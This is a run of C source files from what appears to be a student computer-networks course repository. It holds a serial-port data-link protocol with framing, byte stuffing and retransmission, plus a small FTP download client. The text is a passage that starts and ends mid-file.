FLAG_RCV); else change_state(sm, START); break; case BCC_OK: if (byte == FLAG){ change_state(sm, STOP); frame[4] = byte; } else change_state(sm, START); break; default: break; } } else if(mode == INFORMATION){ switch(sm->state) { case START: i = 0; if (byte == FLAG) { change_state(sm, FLAG_RCV); frame[i++] = byte; } break; case FLAG_RCV: if (byte == FLAG) break; else if (byte == sm->addressByte) { change_state(sm, A_RCV); frame[i++] = byte; } else { change_state(sm, START); i = (int) sm->state; } break; case A_RCV: if (byte == FLAG) { change_state(sm, FLAG_RCV); i = (int) sm->state; } else { if (isWanted(byte, sm) >= 0){ change_state(sm, C_RCV); frame[i++] = byte; } else { change_state(sm, START); i = (int) sm->state; } } break; case C_RCV: if (byte == createBCC(frame[1], frame[2])){ change_state(sm, BCC_OK); frame[i++] = byte; } else { if (byte == FLAG) change_state(sm, FLAG_RCV); else change_state(sm, START); i = (int) sm->state; } break; case BCC_OK: if(byte == FLAG){ frame[i] = byte; change_state(sm, STOP); sm->dataLength = i-4; } else{ frame[i++] = byte; } break; default: break; } } } /** * Function to free the memory allocated to a state machine object * @param sm State machine to be destroyed */ void destroy_st(state_machine_st* sm) { free(sm); }
LockDownPT/MIEIC_rcom
Trabalho_2/src/main.c
#include <stdio.h> #include <string.h> #include "macros.h" #include "functions.h" int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s %s\n", argv[0], "ftp://[<user>:<password>@]<host>/<url-path>"); return -1; } // parse command line arguments struct arguments args; if (parseArguments(&args, argv[1]) != 0) { return -1; } printf("User: %s\n", args.user); printf("Password: %<PASSWORD>", args.password); printf("Host name: %s\n", args.host_name); printf("File path: %s\n", args.file_path); printf("File name: %s\n", args.file_name); struct ftp ftp; char command[MAX_LENGTH]; // buffer to send commands char responseBuffer[MAX_LENGTH]; // buffer to read commands // get IP Address char ipAddress[MAX_LENGTH]; if (getIPAddress(ipAddress, args.host_name) < 0) { return -1; } // create and connect socket to server if ((ftp.control_socket_fd = createAndConnectSocket(ipAddress, FTP_PORT_NUMBER)) < 0) { printf("Error creating new socket\n"); return -1; } // receive confirmation from server receiveFromControlSocket(&ftp, responseBuffer, MAX_LENGTH); // checking confirmation from server if (responseBuffer[0] == '2') { printf("Expecting username...\n\n"); } else { printf("Error in conection...\n\n"); return -1; } // do login in server if (login(&ftp, args.user, args.password)<0) { printf("Login failed...\n\n"); return -1; } // change working directory in server if (strlen(args.file_path) > 0) { if (changeWorkingDirectory(&ftp, args.file_path) < 0) { printf("Error changing directory\n"); return -1; } } // sends pasv command to get ip address and port for data socket if (getServerPortForFile(&ftp) < 0){ printf("Error getting server Port for file\n"); return -1; } // sends retr command to begin file transfer through data socket if(retr(&ftp, args.file_name) < 0){ printf("Error sending comand retr\n"); return -1; } // download of file if(downloadFile(&ftp, args.file_name) < 0){ printf("Error downloading file\n"); return -1; } // disconnects from server if(disconnectFromSocket(&ftp) < 0){ printf("Error disconnecting from server\n"); return -1; } return 0; }
LockDownPT/MIEIC_rcom
Trabalho_1/src/app.h
#pragma once #include <stdio.h> struct applicationLayer { int fileDescriptor; /*Descritor correspondente à porta série*/ int status; /*TRANSMITTER | RECEIVER*/ }; struct applicationLayer al; /** * Function that builds an application data packet, receiving a sequence number, and a data buffer * containing the bytes to be sent; returns the information on the packet buffer. * @param packetBuffer Buffer that will have the final contents of the packet * @param sequenceNumber Sequence number of the packet * @param dataBuffer Buffer with the data * @param dataLength Length of the data in the buffer * @return Length of the packet buffer */ int buildDataPacket(unsigned char* packetBuffer, int sequenceNumber, unsigned char* dataBuffer, int dataLength); /** * Function that builds a control packet * @param controlByte Can be CTRL_START or CTRL_END, to show if the control packet indicates the beginning or end of the file * @param packetBuffer Buffer that will have the final contents of the packet * @param fileSize Size of the full file, in bytes * @param fileName Name of the file * @return Length of the packet buffer */ int buildControlPacket(unsigned char controlByte, unsigned char* packetBuffer, int fileSize, char* fileName); /** * Function, to be called by the reader, that parses the control packets * @param packetBuffer Buffer with the control packet * @param fileSize Pointer to the size of the file, to be returned by the function * @param fileName Pointer to the name of the file, to be returned by the function * @return 0 if it was sucessful; negative value otherwise */ int parseControlPacket(unsigned char* packetBuffer, int* fileSize, char* fileName); /** * Function, to be called by the reader, that parses the data packets * @param packetBuffer Buffer with the data packet * @param data Pointer to the file data packet extracted, to be returned by the function * @param sequenceNumber Pointer to the sequence number of the packet, to be returned by the function * @return 0 if it was sucessful; negative value otherwise */ int parseDataPacket(unsigned char* packetBuffer, unsigned char* data, int* sequenceNumber); /** * Function to send a file, using the serial port, to its destination * @param port Name of the serial port * @param fileName Name of the file to be sent * @return 0 if successful; negative if an error occurs */ int sendFile(char *port , char* fileName); /** * Function to receive a file, sent through the serial port * @param port Name of the serial port * @return 0 if successful; negative if an error occurs */ int receiveFile(char *port);
LockDownPT/MIEIC_rcom
Trabalho_1/src/files.c
<gh_stars>0 #include <stdio.h> #include <stdlib.h> #include "files.h" #include "macros.h" /** * Auxiliary function to obtain the size of a file, from its file pointer * @param fp File pointer to the file * @return size of the file in question */ int getFileSize(FILE *fp){ int lsize; fseek(fp, 0, SEEK_END); lsize = (int)ftell(fp); rewind(fp); return lsize; } /** * Function that opens a file, from its name * @param fileName Name of the file to be opened * @param mode Mode in which to open the file * @return file pointer to the file in question */ FILE* openFile(char* fileName, char* mode){ FILE* fp; fp = fopen(fileName, mode); if (fp == NULL) { perror(fileName); return NULL; } return fp; } /** * Function that closes a file, from its file pointer * @param fp File pointer to the file to be closed * @return 0 if successful, EOF if an error occurs */ int closeFile(FILE* fp){ return fclose(fp); }
LockDownPT/MIEIC_rcom
Trabalho_2/src/macros.h
<filename>Trabalho_2/src/macros.h #pragma once #define MAX_LENGTH 200 #define FTP_PORT_NUMBER 21
LockDownPT/MIEIC_rcom
Trabalho_1/src/aux.c
<reponame>LockDownPT/MIEIC_rcom #include <termios.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <unistd.h> #include <fcntl.h> #include "app.h" #include "macros.h" #include "statemachine.h" #include "data_link.h" #include "alarm.h" /** * Function to create the Block Check Character relative to the Address and Control fields * @param a Address Character of the frame * @param c Control Character of the frame * @return Expected value for the Block Check Character */ unsigned char createBCC(unsigned char a, unsigned char c) { return a ^ c; } /** * Function to create the Block Check Character relative to the Data Characters of the frame * @param frame Frame position where the Data starts * @param length Number of Data Characters to process * @return Expected value for the Block Check Character */ unsigned char createBCC_2(unsigned char* frame, int length) { unsigned char bcc2 = frame[0]; for(int i = 1; i < length; i++){ bcc2 = bcc2 ^ frame[i]; } return bcc2; } /** * Function to apply byte stuffing to the Data Characters of a frame * @param frame Address of the frame * @param length Number of Data Characters to process * @return Length of the new frame, post byte stuffing */ int byteStuffing(unsigned char* frame, int length) { // allocates space for auxiliary buffer (length of the packet, plus 6 bytes for the frame header and tail) unsigned char aux[length + 6]; for(int i = 0; i < length + 6 ; i++){ aux[i] = frame[i]; } // passes information from the frame to aux int finalLength = DATA_START; // parses aux buffer, and fills in correctly the frame buffer for(int i = DATA_START; i < (length + 6); i++){ if(aux[i] == FLAG && i != (length + 5)) { frame[finalLength] = ESCAPE_BYTE; frame[finalLength+1] = BYTE_STUFFING_FLAG; finalLength = finalLength + 2; } else if(aux[i] == ESCAPE_BYTE && i != (length + 5)) { frame[finalLength] = ESCAPE_BYTE; frame[finalLength+1] = BYTE_STUFFING_ESCAPE; finalLength = finalLength + 2; } else{ frame[finalLength] = aux[i]; finalLength++; } } return finalLength; } /** * Function to reverse the byte stuffing applied to the Data Characters of a frame * @param frame Address of the frame * @param length Number of Data Characters to process * @return Length of the new frame, post byte destuffing */ int byteDestuffing(unsigned char* frame, int length) { // allocates space for the maximum possible frame length read (length of the data packet + bcc2, already with stuffing, plus the other 5 bytes in the frame) unsigned char aux[length + 5]; // copies the content of the frame (with stuffing) to the aux frame for(int i = 0; i < (length + 5) ; i++) { aux[i] = frame[i]; } int finalLength = DATA_START; // iterates through the aux buffer, and fills the frame buffer with destuffed content for(int i = DATA_START; i < (length + 5); i++) { if(aux[i] == ESCAPE_BYTE){ if (aux[i+1] == BYTE_STUFFING_ESCAPE) { frame[finalLength] = ESCAPE_BYTE; } else if(aux[i+1] == BYTE_STUFFING_FLAG) { frame[finalLength] = FLAG; } i++; finalLength++; } else{ frame[finalLength] = aux[i]; finalLength++; } } return finalLength; } /** * Function to create a supervision frame for the serial port file transfer protocol * @param frame Address where the frame will be stored * @param controlField Control field of the supervision frame * @param role Role for which to create the frame, marking the difference between the Transmitter and the Receiver * @return 0 if successful; negative if an error occurs */ int createSupervisionFrame(unsigned char* frame, unsigned char controlField, int role) { frame[0] = FLAG; if(role == TRANSMITTER) { if(controlField == SET || controlField == DISC) { frame[1] = END_SEND; } else if(controlField == UA || controlField == RR_0 || controlField == REJ_0 || controlField == RR_1 || controlField == REJ_1 ) { frame[1] = END_REC; } else return -1; } else if(role == RECEIVER) { if(controlField == SET || controlField == DISC) { frame[1] = END_REC; } else if(controlField == UA || controlField == RR_0 || controlField == REJ_0 || controlField == RR_1 || controlField == REJ_1 ) { frame[1] = END_SEND; } else return -1; } else return -1; frame[2] = controlField; frame[3] = createBCC(frame[1], frame[2]); frame[4] = FLAG; return 0; } /** * Function to create an information frame for the serial port file transfer protocol * @param frame Address where the frame will be stored * @param controlField Control field of the supervision frame * @param infoField Start address of the information to be inserted into the information frame * @param infoFieldLength Number of data characters to be inserted into the information frame * @return Returns 0, as there is no place at which an error can occur */ int createInformationFrame(unsigned char* frame, unsigned char controlField, unsigned char* infoField, int infoFieldLength) { frame[0] = FLAG; frame[1] = END_SEND; // como so o emissor envia tramas I, assume-se que o campo de endereco e sempre 0x03. frame[2] = controlField; frame[3] = createBCC(frame[1], frame[2]); for(int i = 0; i < infoFieldLength; i++) { frame[i + 4] = infoField[i]; } unsigned bcc2 = createBCC_2(infoField, infoFieldLength); frame[infoFieldLength + 4] = bcc2; frame[infoFieldLength + 5] = FLAG; return 0; } /** * Function to send a frame to the designated file descriptor * @param frame Start address of the frame to the sent * @param fd File descriptor to which to write the information * @param length Size of the frame to be sent (size of information to be written) * @return Number of bytes written if successful; negative if an error occurs */ int sendFrame(unsigned char* frame, int fd, int length) { int n; if( (n = write(fd, frame, length)) <= 0){ return -1; } return n; } /** * Function to read a byte from the designated file descriptor * @param byte Address to which to store the byte * @param fd File descriptor from which to read the byte * @return Return value of the read() call if successful; negative if an error occurs */ int readByte(unsigned char* byte, int fd) { if(read(fd, byte, sizeof(unsigned char)) <= 0) return -1; return 0; } /** * Function to read a supervision frame, sent according to the serial port file transfer protocol * @param frame Address where the frame will be stored * @param fd File descriptor from which to read the frame * @param wantedBytes Array containing the possible expected control bytes of the frame * @param wantedBytesLength Number of possible expected control bytes of the frame * @param addressByte Address from which a frame is expected * @return Index of the wanted byte found, in the wantedBytes array */ int readSupervisionFrame(unsigned char* frame, int fd, unsigned char* wantedBytes, int wantedBytesLength, unsigned char addressByte) { state_machine_st *st = create_state_machine(wantedBytes, wantedBytesLength, addressByte); unsigned char byte; while(st->state != STOP && finish != 1 && !resendFrame) { if(readByte(&byte, fd) == 0) event_handler(st, byte, frame, SUPERVISION); } int ret = st->foundIndex; destroy_st(st); if(finish == 1 || resendFrame) return -1; return ret; } /** * Function to read an information frame, sent according to the serial port file transfer protocol * @param frame Address where the frame will be stored * @param fd File descriptor from which to read the frame * @param wantedBytes Array containing the possible expected control bytes of the frame * @param wantedBytesLength Number of possible expected control bytes of the frame * @param addressByte Address from which a frame is expected * @return Length of the data packet sent, including byte stuffing and BCC2 */ int readInformationFrame(unsigned char* frame, int fd, unsigned char* wantedBytes, int wantedBytesLength, unsigned char addressByte) { state_machine_st *st = create_state_machine(wantedBytes, wantedBytesLength, addressByte); unsigned char byte; while(st->state != STOP) { if(readByte(&byte, fd) == 0) event_handler(st, byte, frame, INFORMATION); } // dataLength = length of the data packet sent from the application on the transmitter side // (includes data packet + bcc2, with stuffing) int ret = st->dataLength; destroy_st(st); return ret; } /** * Function to open the file descriptor through which to execute the serial port communications, * in the non-canonical mode, according to the serial port file transfer protocol * @param port Name of the port to be opened * @param oldtio Struct where the pre-open port settings will be stored * @param vtime Value to be assigned to the VTIME field of the new settings - time between bytes read * @param vmin Value to be assigned to the VMIN field of the new settings - minimum amount of bytes to read * @return File descriptor that was opened with the given port */ int openNonCanonical(char* port, struct termios* oldtio, int vtime, int vmin) { int fd = open(port, O_RDWR | O_NOCTTY ); if (fd <0) { perror(port); return -1; } struct termios newtio; if ( tcgetattr(fd,oldtio) == -1) { /* save current port settings */ perror("tcgetattr"); return -1; } bzero(&newtio, sizeof(newtio)); newtio.c_cflag = BAUDRATE | CS8 | CLOCAL | CREAD; newtio.c_iflag = IGNPAR; newtio.c_oflag = 0; /* set input mode (non-canonical, no echo,...) */ newtio.c_lflag = 0; newtio.c_cc[VTIME] = vtime; /* inter-character timer unused */ newtio.c_cc[VMIN] = vmin; /* blocking read until 5 chars received */ tcflush(fd, TCIOFLUSH); if ( tcsetattr(fd,TCSANOW,&newtio) == -1) { perror("tcsetattr"); return -1; } return fd; } /** * Function to close the file descriptor through which the serial port communications were executed * @param fd File descriptor where the port has been opened * @param oldtio Struct containing the original port settings have been saved, so they can be restored * @return 0 if successful; negative if an error occurs */ int closeNonCanonical(int fd, struct termios* oldtio) { sleep(1); if (tcsetattr(fd,TCSANOW,oldtio) == -1) { perror("tcsetattr"); return -1; } return 0; } /** * Function to install the alarm handler, using sigaction */ void alarmHandlerInstaller() { struct sigaction action; action.sa_handler = alarmHandler; if(sigemptyset(&action.sa_mask) == -1){ perror("sigemptyset"); exit(-1); } action.sa_flags = 0; if(sigaction(SIGALRM, &action, NULL) != 0){ perror("sigaction"); exit(-1); } } // ------------------------------ /** * Auxiliary function to convert a decimal value into two (max. 8 bits) values, for hexadecimal representation * @param k Decimal value to be converted * @param l1 Least significant bits of the converted value * @param l2 Most significant bits of the converted value */ void convertValueInTwo(int k, int* l1, int* l2) { *l1 = k % 256; *l2 = k / 256; } /** * Auxiliary function to convert two (max. 8 bits) values, from hexadecimal representation, into one single decimal * @param l1 Least significant bits of the value to be converted * @param l2 Most significant bits of the value to be converted * @return Decimal converted value */ int convertValueInOne(int l1, int l2) { return 256 * l2 + l1; }
LockDownPT/MIEIC_rcom
Trabalho_1/src/macros.h
#ifndef _MACROS_H_ #define _MACROS_H_ // ---- macros for data link layer ---- #define MAX_DATA_SIZE 1024 // max size of a data packet #define MAX_PACK_SIZE (MAX_DATA_SIZE + 4) // max size of a data packet + 4 bytes for packet head #define MAX_SIZE (MAX_PACK_SIZE + 6) // max size of data in a frame, + 4 bytes fot packet head, + 6 bytes for frame header and tail #define MAX_SIZE_FRAME (((MAX_PACK_SIZE + 1) * 2) + 5) // max size of a frame, with byte stuffing considered ((1029 * 2) + 5) // 1029 -> all bytes that can suffer byte stuffing (and therefore be "duplicated"), that is, the packet and the BCC2 // 5 -> the bytes that won't (for sure) suffer byte stuffing (flags, bcc1, address and control bytes) #define BUF_SIZE_SUP 5 // size of a supervision frame #define BAUDRATE B38400 //38400 is the normal value #define MODEMDEVICE "/dev/ttyS1" #define _POSIX_SOURCE 1 /* POSIX compliant source */ #define FALSE 0 #define TRUE 1 #define TRANSMITTER 0 #define RECEIVER 1 #define SUPERVISION 0 #define INFORMATION 1 #define NUM_RETR 3 #define TIMEOUT 3 #define FLAG 0x7E #define END_SEND 0x03 #define END_REC 0x01 #define S_0 0x00 #define S_1 0x40 #define SET 0x03 #define DISC 0x0B #define UA 0x07 #define RR_0 0X05 #define RR_1 0x85 #define REJ_0 0x01 #define REJ_1 0x81 #define VTIME_VALUE 0 #define VMIN_VALUE 1 #define BYTE_STUFFING_ESCAPE 0x5D #define BYTE_STUFFING_FLAG 0x5E #define ESCAPE_BYTE 0x7D #define DATA_START 4 // ---- macros for application layer ---- #define CTRL_DATA 0x01 #define CTRL_START 0x02 #define CTRL_END 0x03 #define TYPE_FILESIZE 0x00 #define TYPE_FILENAME 0x01 #endif
LockDownPT/MIEIC_rcom
Trabalho_1/src/app.c
<reponame>LockDownPT/MIEIC_rcom #include <sys/times.h> #include <sys/time.h> #include <unistd.h> #include <stdio.h> #include "app.h" #include "macros.h" #include "aux.h" #include "data_link.h" #include "files.h" /** * Function that builds an application data packet, receiving a sequence number, and a data buffer * containing the bytes to be sent; returns the information on the packet buffer. * @param packetBuffer Buffer that will have the final contents of the packet * @param sequenceNumber Sequence number of the packet * @param dataBuffer Buffer with the data * @param dataLength Length of the data in the buffer * @return Length of the packet buffer */ int buildDataPacket(unsigned char *packetBuffer, int sequenceNumber, unsigned char *dataBuffer, int dataLength) { packetBuffer[0] = CTRL_DATA; packetBuffer[1] = (unsigned char)sequenceNumber; // basta meter o int? int l1, l2; convertValueInTwo(dataLength, &l1, &l2); packetBuffer[2] = (unsigned char)l2; packetBuffer[3] = (unsigned char)l1; for (int i = 0; i < dataLength; i++) packetBuffer[i + 4] = dataBuffer[i]; return dataLength + 4; } /** * Function that builds a control packet * @param controlByte Can be CTRL_START or CTRL_END, to show if the control packet indicates the beginning or end of the file * @param packetBuffer Buffer that will have the final contents of the packet * @param fileSize Size of the full file, in bytes * @param fileName Name of the file * @return Length of the packet buffer */ int buildControlPacket(unsigned char controlByte, unsigned char *packetBuffer, int fileSize, char *fileName) { packetBuffer[0] = controlByte; packetBuffer[1] = TYPE_FILESIZE; int length = 0; int currentFileSize = fileSize; // cicle to separate file size (v1) in bytes while (currentFileSize > 0) { int rest = currentFileSize % 256; int div = currentFileSize / 256; length++; // shifts all bytes to the right, to make space for the new byte for (unsigned int i = 2 + length; i > 3; i--) packetBuffer[i] = packetBuffer[i - 1]; packetBuffer[3] = (unsigned char)rest; currentFileSize = div; } packetBuffer[2] = (unsigned char)length; packetBuffer[3 + length] = TYPE_FILENAME; int fileNameStart = 5 + length; // beginning of v2 packetBuffer[4 + length] = (unsigned char)(strlen(fileName) + 1); // adds file name length (including '\0) for (unsigned int j = 0; j < (strlen(fileName) + 1); j++) { // strlen(fileName) + 1 in order to add the '\0' char packetBuffer[fileNameStart + j] = fileName[j]; } return 3 + length + 2 + strlen(fileName) + 1; // total length of the packet } /** * Function, to be called by the reader, that parses the data packets * @param packetBuffer Buffer with the data packet * @param data Pointer to the file data packet extracted, to be returned by the function * @param sequenceNumber Pointer to the sequence number of the packet, to be returned by the function * @return 0 if it was sucessful; negative value otherwise */ int parseDataPacket(unsigned char *packetBuffer, unsigned char *data, int *sequenceNumber) { if (packetBuffer[0] != CTRL_DATA) { return -1; } *sequenceNumber = (int)packetBuffer[1]; int size_of_data; size_of_data = convertValueInOne((int)packetBuffer[3], (int)packetBuffer[2]); for (int i = 0; i < size_of_data; i++) { data[i] = packetBuffer[i + 4]; } return 0; } /** * Function, to be called by the reader, that parses the control packets * @param packetBuffer Buffer with the control packet * @param fileSize Pointer to the size of the file, to be returned by the function * @param fileName Pointer to the name of the file, to be returned by the function * @return 0 if it was sucessful; negative value otherwise */ int parseControlPacket(unsigned char *packetBuffer, int *fileSize, char *fileName) { if (packetBuffer[0] != CTRL_START && packetBuffer[0] != CTRL_END) { return -1; } int length1; if (packetBuffer[1] == TYPE_FILESIZE) { *fileSize = 0; length1 = (int)packetBuffer[2]; for (int i = 0; i < length1; i++) { *fileSize = *fileSize * 256 + (int)packetBuffer[3 + i]; } } else { return -1; } int length2; int fileNameStart = 5 + length1; if (packetBuffer[fileNameStart - 2] == TYPE_FILENAME) { length2 = (int)packetBuffer[fileNameStart - 1]; for (int i = 0; i < length2; i++) { fileName[i] = packetBuffer[fileNameStart + i]; } } else { return -1; } return 0; } /** * Function to receive a file, sent through the serial port * @param port Name of the serial port * @return 0 if successful; negative if an error occurs */ int receiveFile(char *port) { struct timeval start, end; //srand(time(0)); int numBitsReceived= 0; // fills appLayer fields al.status = RECEIVER; if ((al.fileDescriptor = llopen(port, al.status)) <= 0) { return -1; } printf("\n---------------llopen done---------------\n\n"); unsigned char packetBuffer[MAX_PACK_SIZE]; int packetSize; int fileSize; unsigned char data[MAX_DATA_SIZE]; char fileName[255]; /* Mark beginning time */ gettimeofday(&start , NULL); // usleep(50000); packetSize = llread(al.fileDescriptor, packetBuffer); if (packetSize < 0) { return -1; } numBitsReceived += packetSize * 8; // if start control packet was received if (packetBuffer[0] == CTRL_START) { if (parseControlPacket(packetBuffer, &fileSize, fileName) < 0) { return -1; } } else { return -1; } FILE *fp = openFile("pinguim1.gif", "w"); if (fp == NULL) return -1; int expectedSequenceNumber = 0; // starts received data packets (file data) while (1) { // usleep(50000); packetSize = llread(al.fileDescriptor, packetBuffer); if (packetSize < 0) { return -1; } numBitsReceived += packetSize * 8; // received data packet if (packetBuffer[0] == CTRL_DATA) { int sequenceNumber; if (parseDataPacket(packetBuffer, data, &sequenceNumber) < 0) return -1; // if sequence number doesn't match if (expectedSequenceNumber != sequenceNumber) { printf("Sequence number does not match!\n"); return -1; } expectedSequenceNumber = (expectedSequenceNumber + 1) % 256; int dataLength = packetSize - 4; // writes to the file the content read from the serial port if (fwrite(data, sizeof(unsigned char), dataLength, fp) != dataLength) { return -1; } } // received end packet; file was fully transmitted else if (packetBuffer[0] == CTRL_END) { break; } } gettimeofday(&end, NULL); double time_spent = (end.tv_sec - start.tv_sec) * 1e6; time_spent = (time_spent +(end.tv_usec - start.tv_usec)) * 1e-6; printf("numBitsReceived = %d\n", numBitsReceived); printf("time_spent = %lf\n", time_spent); double R = numBitsReceived/time_spent; double baudRate = 180000.0; double S = R / baudRate; printf("\n\n Baudrate = %lf", R); printf("\n\nEstatitica da eficiencia S = %lf\n\n", S); if (getFileSize(fp) != fileSize) { printf("file size does not match\n"); return -1; } int fileSizeEnd; char fileNameEnd[255]; if (parseControlPacket(packetBuffer, &fileSizeEnd, fileNameEnd) < 0) { return -1; } if((fileSize != fileSizeEnd) || (strcmp(fileNameEnd, fileName) != 0)){ printf("Information in start and end packets does not match"); return -1; } // close, in non canonical if (llclose(al.fileDescriptor, al.status) < 0) return -1; printf("\n---------------llclose done---------------\n\n"); return 0; } /** * Function to send a file, using the serial port, to its destination * @param port Name of the serial port * @param fileName Name of the file to be sent * @return 0 if successful; negative if an error occurs */ int sendFile(char *port, char *fileName) { FILE *fp = openFile(fileName, "r"); if (fp == NULL){ printf("Cannot find the file to transmit\n"); return -1; } // fills appLayer fields al.status = TRANSMITTER; if ((al.fileDescriptor = llopen(port, al.status)) <= 0) { return -1; } printf("\n---------------llopen done---------------\n\n"); unsigned char packetBuffer[MAX_PACK_SIZE]; int fileSize = getFileSize(fp); int packetSize = buildControlPacket(CTRL_START, packetBuffer, fileSize, fileName); // sends control start packet, to indicate the start of the file transfer if (llwrite(al.fileDescriptor, packetBuffer, packetSize) < 0) { closeFile(fp); return -1; } printf("\n---------------STARTING TO SEND FILE---------------\n\n"); unsigned char data[MAX_DATA_SIZE]; int length_read; int sequenceNumber = 0; while (1) { // reads a data chunk from the file length_read = fread(data, sizeof(unsigned char), MAX_DATA_SIZE, fp); if (length_read != MAX_DATA_SIZE) { if (feof(fp)) { packetSize = buildDataPacket(packetBuffer, sequenceNumber, data, length_read); sequenceNumber = (sequenceNumber + 1) % 256; // sends the last data frame if (llwrite(al.fileDescriptor, packetBuffer, packetSize) < 0) { closeFile(fp); return -1; } break; } else { perror("error reading file data"); return -1; } } packetSize = buildDataPacket(packetBuffer, sequenceNumber, data, length_read); sequenceNumber = (sequenceNumber + 1) % 256; // sends a data frame if (llwrite(al.fileDescriptor, packetBuffer, packetSize) < 0) { closeFile(fp); return -1; } } packetSize = buildControlPacket(CTRL_END, packetBuffer, fileSize, fileName); // sends control end packet; indicating the end of the file transfer if (llwrite(al.fileDescriptor, packetBuffer, packetSize) < 0) { closeFile(fp); return -1; } printf("\n---------------ENDED SENDING FILE---------------\n\n"); if (llclose(al.fileDescriptor, al.status) < 0) return -1; printf("\n---------------llclose done---------------\n\n"); if (closeFile(fp) != 0) return -1; return 0; }
LockDownPT/MIEIC_rcom
Trabalho_1/src/alarm.c
<reponame>LockDownPT/MIEIC_rcom<filename>Trabalho_1/src/alarm.c #include "alarm.h" /** * Handles the alarm signal * @param signal Signal that is received */ void alarmHandler(int signal) { if(num_retr < ll.numTransmissions){ resendFrame = true; printf("Timeout/invalid value: Sent frame again (numretries = %d)\n", num_retr); alarm(ll.timeout); num_retr++; } else{ printf("Number of retries exceeded (numretries = %d)\n", num_retr); finish = 1; } }
LockDownPT/MIEIC_rcom
Trabalho_2/src/functions.h
#pragma once #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <netdb.h> #include <strings.h> #include <stdbool.h> #include "macros.h" /** * Struct that contains the necessary fields to parse the command line arguments passed */ struct arguments { char user[MAX_LENGTH]; /**< user string */ char password[MAX_LENGTH]; /**< password string */ char host_name[MAX_LENGTH]; /**< host name string */ char file_path[MAX_LENGTH]; /**< file path string */ char file_name[MAX_LENGTH]; /**< file name string */ }; /** * Struct that contains the control and data file descriptors for the FTP */ struct ftp { int control_socket_fd; /**< file descriptor to control socket */ int data_socket_fd; /**< file descriptor to data socket */ }; /** * Function that parses the command line arguments, retrieving a struct with all the individual fields * * @param args Pointer to the structure that is going to have the individual fields * @param commandLineArg Argument from the command line, that is going to be parsed * @return int 0 if success; -1 otherwise */ int parseArguments(struct arguments* args, char* commandLineArg); /** * Function that, having the host name, retrieves the IP address * * @param idAdress Variable that is going to point to the IP Address * @param hostName The host's name * @return int 0 if success; -1 otherwise */ int getIPAddress(char* ipAddress, char* hostName); /** * Function that creates a new TCP socket, and connects it to the address and port specified * * @param address The IP address of the server * @param port The number of the port to be used * @return int Socket descriptor if success; -1 otherwise */ int createAndConnectSocket(char* address, int port); /** * Function that allows a command to be sent through a socket * * @param ftp Struct with the socket descriptors * @param cmdHeader Header of the command to be sent * @param cmdBody Body of the command to be sent * @return int Number of bytes written if success; -1 otherwise */ int sendToControlSocket(struct ftp* ftp, char* cmdHeader, char* cmdBody); /** * Function that allows the reading of a command through a socket * * @param ftp Struct with the socket descriptors * @param string Buffer that is going to store the number code received from the server * @param size Number of digits to be received * @return int 0 if success; -1 otherwise */ int receiveFromControlSocket(struct ftp *ftp, char* string, size_t size); /** * Function that sends a command to the control socket and interprets the response received * * @param ftp Struct with the socket descriptors * @param cmdHeader Header of the command to be sent * @param cmdBody Body of the command to be sent * @param response Buffer that is going to store the number code received from the server * @param responseLength Number of digits to be received on the response * @param readingFile Indicates if the file is about to be read from the data socket * @return int Positive (depending on response) if success; -1 otherwise */ int sendCommandInterpretResponse(struct ftp* ftp, char* cmdHeader, char* cmdBody, char* response, size_t responseLength, bool readingFile); /** * Function that sends the login information to the socket for authentication * * @param ftp Struct that contains the socket descriptors * @param username User name to be sent to the socket * @param password Password to be sent to the socket * @return int 0 if success; -1 otherwise */ int login(struct ftp* ftp, char* username, char* password); /** * Function that obtains a server port for the transfer of a file. * * @param ftp Struct with the socket descriptors * @return int 0 if success; -1 otherwise */ int getServerPortForFile(struct ftp *ftp); /** * Function to change the working directory of the FTP, using the CWD command * * @param ftp Struct containing the socket descriptors * @param path Path of the new working directory to be changed to * @return int 0 if successful; -1 otherwise */ int changeWorkingDirectory(struct ftp* ftp, char* path); /** * Function that downloads a file sent from the server through a socket, and saves it in a local file * * @param ftp Struct containing the socket descriptors * @param fileName The name of the file to be transfered * @return int 0 if successful; -1 otherwise */ int downloadFile(struct ftp* ftp, char* fileName); /** * Function that sends the "retr" command to the control socket, so the file starts being transmited in the file socket * * @param ftp Struct containing the socket descriptors * @param fileName The name of the file to be transfered * @return int 0 if successful; -1 otherwise */ int retr(struct ftp* ftp, char* fileName); /** * Function that opens a file, from its name * * @param fileName Name of the file to be opened * @param mode Mode in which to open the file * @return File pointer to the file in question; null if error */ FILE* openFile(char* fileName, char* mode); /** * Function that closes a file, from its file pointer * * @param fp File pointer to the file to be closed * @return 0 if successful, EOF if an error occurs */ int closeFile(FILE* fp); /** * Function that ends the connection with the control socket * * @param ftp Struct containing the socket descriptors * @return int 0 if successful; -1 if error */ int disconnectFromSocket(struct ftp* ftp);
LockDownPT/MIEIC_rcom
Trabalho_1/src/data_link.c
<gh_stars>0 #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <termios.h> #include <stdio.h> #include <stdbool.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <unistd.h> #include <signal.h> #include "data_link.h" #include "statemachine.h" #include "aux.h" #include "app.h" #include "alarm.h" /** * Opens the connection for the receiver * @param fd File descriptor for the serial port * @return File descriptor; -1 in case of error */ int llOpenReceiver(int fd) { unsigned char wantedByte[1]; wantedByte[0] = SET; if (readSupervisionFrame(ll.frame, fd, wantedByte, 1, END_SEND) == -1) return -1; printf("Received SET frame\n"); if (createSupervisionFrame(ll.frame, UA, RECEIVER) != 0) return -1; ll.frameLength = BUF_SIZE_SUP; // send SET frame to receiver if (sendFrame(ll.frame, fd, ll.frameLength) == -1) return -1; printf("Sent UA frame\n"); return fd; } /** * Opens the connection for the transmitter * @param fd File descriptor for the serial port * @return File descriptor; -1 in case of error */ int llOpenTransmitter(int fd) { unsigned char responseBuffer[BUF_SIZE_SUP]; // buffer to read the response // creates SET frame if (createSupervisionFrame(ll.frame, SET, TRANSMITTER) != 0) return -1; ll.frameLength = BUF_SIZE_SUP; // send SET frame to receiver if (sendFrame(ll.frame, fd, ll.frameLength) == -1) return -1; printf("Sent SET frame\n"); int read_value = -1; finish = 0; num_retr = 0; resendFrame = false; alarm(ll.timeout); unsigned char wantedByte[1]; wantedByte[0] = UA; while (finish != 1) { read_value = readSupervisionFrame(responseBuffer, fd, wantedByte, 1, END_SEND); if 